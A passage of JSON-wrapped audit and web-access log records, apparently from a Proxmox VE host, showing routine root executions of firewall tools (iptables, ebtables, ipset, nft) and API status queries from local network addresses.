a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.538:59410): arch=c000003e syscall=59 success=yes exit=0 a0=5f28adf2aac8 a1=7ffe4aa4f730 a2=5f28e0082680 a3=5f28adf0e24e items=2 ppid=57056 pid=57058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966073591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966073.591:68313): arch=c000003e syscall=59 success=yes exit=0 a0=61301a6aa6f0 a1=61301a8cc2d0 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65601 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455325,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.325:61095): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965296290,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.969:61708): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065429,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.429:68296): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965277404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.404:64928): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.536:59409): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4aa4f6f0 a1=5f28e0089310 a2=5f28e0082680 a3=5 items=2 ppid=57056 pid=57057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966070275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.275:68312): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455320,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.320:61094): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965296290,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.969:61707): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065421,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.421:68295): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965275294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.294:64924): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc20950000 a1=5d2a98277d10 a2=5d2a9825a680 a3=5 items=1 ppid=62369 pid=62370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.532:59407): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.270:68309): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455313,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.313:61093): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965294663,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.221:61703): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8095ccb0 a1=5c9dfd22f200 a2=5c9dfd20d680 a3=5 items=1 ppid=59228 pid=59229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065412,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.412:68294): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965275189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.189:64906): arch=c000003e syscall=59 success=no exit=-2 a0=7fff45127ef0 a1=63e475f24180 a2=63e475f02680 a3=5 items=1 ppid=62350 pid=62351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.526:59406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.483:68306): arch=c000003e syscall=59 success=yes exit=0 a0=60f58c55a0a0 a1=60f58c556e20 a2=60f58c538680 a3=5 items=2 ppid=65592 pid=65598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455307,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.307:61092): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965294663,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.139:61685): arch=c000003e syscall=59 success=no exit=-2 a0=7fff9afd9d60 a1=5ebc7e3f4310 a2=5ebc7e3ed680 a3=5 items=1 ppid=59209 pid=59210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065406,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.406:68293): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965272392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.392:64896): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.520:59405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065480,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.480:68305): arch=c000003e syscall=59 success=yes exit=0 a0=60f5685b4ac8 a1=7ffe7631b330 a2=60f58c538680 a3=60f56859824e items=2 ppid=65592 pid=65594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455303,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.303:61091): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965294663,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.964:61677): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065399,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.399:68292): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965272392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.392:64895): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.513:59404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.479:68304): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7631b2f0 a1=60f58c53f310 a2=60f58c538680 a3=5 items=2 ppid=65592 pid=65593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.299:61090): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965293271,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.964:61676): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065393,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.393:68291): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965272382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.382:64893): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.507:59403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.474:68302): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.299:61089): argc=1 a0=\"date\""} {"@timestamp":1781965292272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.959:61674): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065381,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.381:68290): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965272381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965272.381:64892): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.503:59402): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5972fc089740 items=0 ppid=1156 pid=57051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966065466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.466:68301): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455294,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.294:61087): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965292272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.959:61673): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065374,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.374:68289): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965267377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.377:64890): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.501:59401): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e6010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.457:68300): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455286,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.286:61086): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965292272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.942:61669): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065370,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.370:68288): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965267377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.377:64889): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.496:59400): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.447:68299): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455278,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.278:61085): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965292272,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.942:61668): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065367,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.367:68287): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.369:64887): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.491:59399): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.438:68298): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455274,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.274:61084): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965290163,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.936:61666): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065366,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.366:68286): argc=1 a0=\"date\""} {"@timestamp":1781965267368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965267.368:64886): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055484,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.484:59398): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.433:68297): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a43f7b19740 items=0 ppid=1156 pid=65587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964455267,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.267:61083): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965290163,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.936:61665): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 